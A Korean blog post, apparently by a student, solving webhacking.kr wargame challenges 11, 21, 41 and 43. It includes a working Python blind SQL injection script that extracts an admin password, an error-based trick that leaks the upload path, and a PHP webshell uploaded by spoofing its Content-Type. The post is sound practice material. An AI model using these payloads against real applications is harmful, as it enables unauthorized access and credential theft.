webhacking.kr 11번, 21번, 41번, 43번 풀이

julia·2021년 4월 5일
0

💡 11번 문제 풀이

<?php
  $pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";
  if(preg_match($pat,$_GET['val'])){
    solve(11);
  }
  else echo("<h2>Wrong</h2>");
  echo("<br><br>");
?>

이 문제에서는 정규 표현식에 대한 기본적인 이해를 요구하고 있다. $pat 부분을 해석해보면

  • [1-3] : 1부터 3 중 한 문자
  • [a-f] : a부터 f 중 한 문자
  • {5} : 앞의 [a-f] 중 어떤 한 문자를 5번 반복
  • \tp\ta\ts\ts : (탭)p(탭)a(탭)s(탭)s

이때 문제에서 get 방식으로 val 을 전달하는데, 브라우저가 url을 자동으로 디코딩하므로 탭을 url인코딩(%09) 해주어야 한다.
따라서 밑의 주소를 문제 url뒤에 붙여주면 될 것이다.
?val=1aaaaa_<자신의 ip주소>%09p%09a%09s%09s

참고로 정규 표현식은 문자열에 나타는 특정 문자 조합과 대응시키기 위한 패턴이며, 복잡한 특정 조건의 문자열을 찾고 싶을 때 사용하면 좋다.

💡 21번 문제 풀이


blind sql 인젠션 문제. blind sql injection이란 참과 거짓의 결과 값이 다름을 사용하여 DB구조를 알아내는 기법이다.
이 문제에서 우선 아이디와 패스워드에 각각 admin, admin을 입력해보니 login fail이 떴고 guest, guest를 쳐보니 login success가 떴다.

아래와 같이 넣어주니 wrong password라고 나왔고, result값을 이용하면 될 것 같다는 생각이 든다. (올바른 쿼리, 즉 sql 공격이 먹히는 쿼리 => "wrong password" 올바르지 않은 쿼리 => "login fail")

파이썬 코드를 작성하기로 했다. 모든 코드를 스스로 작성하기엔 아직 실력이 부족해서 슬프지만,,ㅎㅎ

import requests

url = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'


def query(payload):
    res = requests.get(url + payload)
    content = res.text
    return TRUE_PHRASE in content


def pw_length():
    pw_len = 1
    while query("' or id='admin' and length(pw)={}-- ".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


def find_pw():  # 문자열을 아스키코드로 반환하는 ord 함수 사용
    pw_len = pw_length()
    pw = ''
    for i in range(1, pw_len + 1):
        for char in range(0, 128):
            if query("' or id='admin' and ord(substr(pw,{},1))={}-- ".format(i, char)) is True:  # 한글자씩 검사
                pw += chr(char)
                break
    print('pw: {}'.format(pw))


find_pw()

<간략한 코드 설명>

  1. query 함수는 result값을 이용해 우리가 입력할 쿼리가 참인 문장인지 검사해준다.
  2. pw_length 함수는 비번의 길이를 알아내는 함수! 1부터 하나씩 늘려가며 검사하고 정답인 비번의 길이가 나오면 while문을 빠져나와 프린트해준다. 주석처리는 #도 가능하고 --공백 도 가능하다.
  3. find_pw는 실제 정답을 찾는 함수! ord함수를 사용해 문자열을 아스키코드로 반환해주었으며, 패스워드 길이만큼 for문을 돌고 한글자씩 pw에 저장한다. 한글자씩 찾기 때문에 시간이 오래 걸리긴 한다ㅜㅜ

코드를 돌려 찾은 비밀번호를 입력해주면 문제가 해결된다.

💡 41번 문제 풀이

<?php
  if(isset($_FILES['up']) && $_FILES['up']){
    $fn = $_FILES['up']['name'];
    $fn = str_replace(".","",$fn);
    $fn = str_replace("<","",$fn);
    $fn = str_replace(">","",$fn);
    $fn = str_replace("/","",$fn);

    $cp = $_FILES['up']['tmp_name'];
    copy($cp,"./{$upload_dir}/{$fn}");
    $f = @fopen("./{$upload_dir}/{$fn}","w");
    @fwrite($f,$flag);
    @fclose($f);
    echo("Done~");
  }
?>

아무 파일이나 업로드 해도 Done~이라는 문자는 출력된다. 그러나 업로드된 디렉터리가 어디인지 경로에 안뜨기 때문에 우리는 upload_dir을 알아야 한다. 이 경로를 알기 위해서는 일부러 에러를 일으켜 에러메시지와 함께 경로가 출력되도록 해야 한다.

에러 메세지를 이용해야겠다고 생각한 이유 : fopen, fwrite, fclose는 앞에 @가 있는 반면 copy는 없기 때문에 copy부분을 통해 우리가 에러 메시지를 받을 수 있겠다는 것을 유추할 수 있음.
(php의 @ : 함수 실행 시 에러가 나도 이를 무시하고 에러 메시지를 출력하지 않는다)


버프 스위트로 인터셉트 후 filename을 엄청 길게 변조하여 포워딩 해주었더니(검색해보니 copy함수에서 파일명이 너무 길면 오류가 난다고 한다) 경로가 나타났다.

따라서 정상적인 파일(파일명이 너무 길지 않은 파일 아무거나 - 나의 경우는 text.txt를 만들어 업로드 해주었다) 을 업로드한 다음, Done~이라는 문구가 뜨면 url에 4b0e~9a/파일명 이렇게 입력해주면 플래그 값을 얻을 수 있다.

💡 43번 문제 풀이

버프스위트를 이용해서 풀었다. 인터셉트 후 제출 버튼을 누르면

Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

이렇게 뜨는데, 여기서 바로 값들을 수정하고 내용을 추가했다. 문제에서 "You must upload webshell and cat /flag"라고 했으므로 내용에 밑의 코드처럼 입력했고, 이를 포워딩해보면 우선은 file type이 막혔다는 문구가 뜬다.

Content-Disposition: form-data; name="file"; filename="web43.php"
Content-Type: application/octet-stream

<?php
system("cat ./flag");
?>

따라서 Content-Type 부분을 image/png로 바꾸어(text/php도 막혀서 이미지로 올림) 다시 포워딩해보면 아래와 같이 잘 업로드가 되는 걸 볼 수 있다.
(참고로 content type에 뭐가 있는지 궁금하면 http://www.webmadang.net/community/community.do?action=read&boardid=5001&page=1&seq=3 여기서 확인가능)

근데 여기서 뭐가 잘못되었는지 링크를 타고 들어갔는데 화면에 아무것도 안뜬다ㅜㅜ 다른 사람들이 푼 방식을 확인해보니 다 비슷하게 푼 것 같고 저 링크 들어가면 플래그 값이 보인다는데 나만 왜 플래그 안뜨지,,,? 일단 문제 풀이 방법은 알았으니 다음에 뭐가 잘못된건지 천천히 찾아봐야겠다..

😎 느낀점

갈수록 호락호락하지 않다는게 느껴진다. 솔직히 챌린지 문제가 old라서 뭔가 현재 트렌드에 맞는 문제는 아닐 것 같기도 하고 실제 상황에서 일어날 일들도 아닌 것 같지만.. 그래도 문제를 해결했든 못했든 푸는 과정에서 개념, 코드 읽는 방법, 도구 활용법 등을 익힐 수 있다는게 좋은 것 같다. 이번처럼 열심히 했는데도 해결이 안되는 문제가 생기면 일단 넘기고 마지막에 다시 돌아와서 꼭 풀어야겠다ㅜㅜ 이번 주도 화이팅!

profile
Move Forward

0개의 댓글